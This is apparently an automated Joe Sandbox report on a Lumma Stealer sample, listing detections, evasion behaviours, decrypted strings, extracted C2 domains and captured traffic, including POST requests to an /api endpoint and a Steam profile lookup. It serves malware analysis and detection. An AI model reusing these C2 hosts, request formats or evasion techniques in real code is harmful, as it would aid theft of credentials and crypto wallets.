Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1532867
MD5:	283f654b01a0041e91613545e4b1b7d1
SHA1:	4d397e16c236af966253e076360487b0db03d2fb
SHA256:	5f4bbf88da5f3b824e903fa9b2b0458f684ff94157abca983e32c18f7da9f70b
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

file.exe (PID: 6848 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 283F654B01A0041E91613545E4B1B7D1)

WerFault.exe (PID: 5628 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6848 -s 1904 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6128 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6848 -s 1896 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["bathdoomgaz.store", "mobbipenju.store", "clearancek.site", "licendfilteo.site", "eaglepawnoy.store", "spirittunek.store", "studennotediw.store", "dissapoiznw.store"], "Build id": "u4ngr--"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T03:57:11.721625+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.206.204	443	TCP
2024-10-14T03:57:12.971702+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49732	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T03:57:11.721625+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49731	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T03:57:12.971702+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49732	172.67.206.204	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T03:57:09.602986+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	65256	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T03:57:09.547857+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	60736	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T03:57:09.579914+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	54780	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T03:57:09.567874+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	57641	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T03:57:09.639455+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	54660	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T03:57:09.558059+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	57732	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T03:57:09.626697+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	63826	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T03:57:09.589679+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	60435	1.1.1.1	53	UDP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T03:57:10.919588+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com:443/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/badges	URL Reputation: Label: malware

Found malware configuration

Source: file.exe.6848.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["bathdoomgaz.store", "mobbipenju.store", "clearancek.site", "licendfilteo.site", "eaglepawnoy.store", "spirittunek.store", "studennotediw.store", "dissapoiznw.store"], "Build id": "u4ngr--"}

Multi AV Scanner detection for domain / URL

Source: sergei-esenin.com	Virustotal: Detection: 17%	Perma Link
Source: licendfilteo.site	Virustotal: Detection: 15%	Perma Link
Source: mobbipenju.store	Virustotal: Detection: 21%	Perma Link
Source: studennotediw.store	Virustotal: Detection: 17%	Perma Link
Source: clearancek.site	Virustotal: Detection: 17%	Perma Link
Source: bathdoomgaz.store	Virustotal: Detection: 21%	Perma Link
Source: spirittunek.store	Virustotal: Detection: 21%	Perma Link
Source: eaglepawnoy.store	Virustotal: Detection: 18%	Perma Link
Source: dissapoiznw.store	Virustotal: Detection: 21%	Perma Link
Source: dissapoiznw.store	Virustotal: Detection: 21%	Perma Link
Source: studennotediw.store	Virustotal: Detection: 17%	Perma Link
Source: eaglepawnoy.store	Virustotal: Detection: 18%	Perma Link
Source: https://sergei-esenin.com:443/api	Virustotal: Detection: 18%	Perma Link
Source: https://sergei-esenin.com/k	Virustotal: Detection: 8%	Perma Link
Source: bathdoomgaz.store	Virustotal: Detection: 21%	Perma Link
Source: https://dissapoiznw.store:443/api	Virustotal: Detection: 21%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 34%
Source: file.exe	Virustotal: Detection: 43%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: clearancek.site
Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: licendfilteo.site
Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: spirittunek.store
Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: bathdoomgaz.store
Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: studennotediw.store
Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dissapoiznw.store
Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: eaglepawnoy.store
Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: mobbipenju.store
Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: clearancek.site
Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_0034D110
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_0034D110
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	0_2_003899D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_0034FCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	0_2_00350EEC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00385700
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	0_2_00356F91
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	0_2_00383920
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_0035D961
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	0_2_003449A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00351A3C
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	0_2_00345A50
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	0_2_00384A40
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_003542FC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00351ACD
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ebp, eax	0_2_0034A300
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	0_2_00389B60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_00353BE2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	0_2_00351BEE
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	0_2_0035B410
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_0036C470
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0035D457
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00389CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	0_2_00389CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	0_2_0036CCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_0036CCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	0_2_0036CCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_00356536
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	0_2_0036FD10
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00369510
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	0_2_0034BEB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	0_2_00356EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	0_2_00346EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	0_2_00351E93
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	0_2_00356F91

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:57732 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:54780 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:57641 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:65256 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:63826 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:54660 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:60435 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:60736 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49730 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49732 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.206.204:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	URLs: dissapoiznw.store

Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254
Source: Joe Sandbox View	IP Address: 172.67.206.204 172.67.206.204

Source: Joe Sandbox View	ASN Name: AKAMAI-ASUS AKAMAI-ASUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=HZlidKlpcv_p0sfMpNIO76uVyDFPfvMjvRK5J6.GgLc-1728871031-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: sergei-esenin.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: file.exe, 00000000.00000003.1808609124.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820309604.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1972941186.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site/apin
Source: file.exe, 00000000.00000002.1972650341.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/api=
Source: file.exe, 00000000.00000002.1972650341.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/apii
Source: file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akam
Source: file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steam
Source: file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/)
Source: file.exe, 00000000.00000002.1972650341.0000000000D35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/publdq
Source: file.exe, 00000000.00000002.1972650341.0000000000D35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=2Ih2WOq7ErXY&a
Source: file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000002.1972650341.0000000000D35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valMr
Source: file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=bz0kMfQA
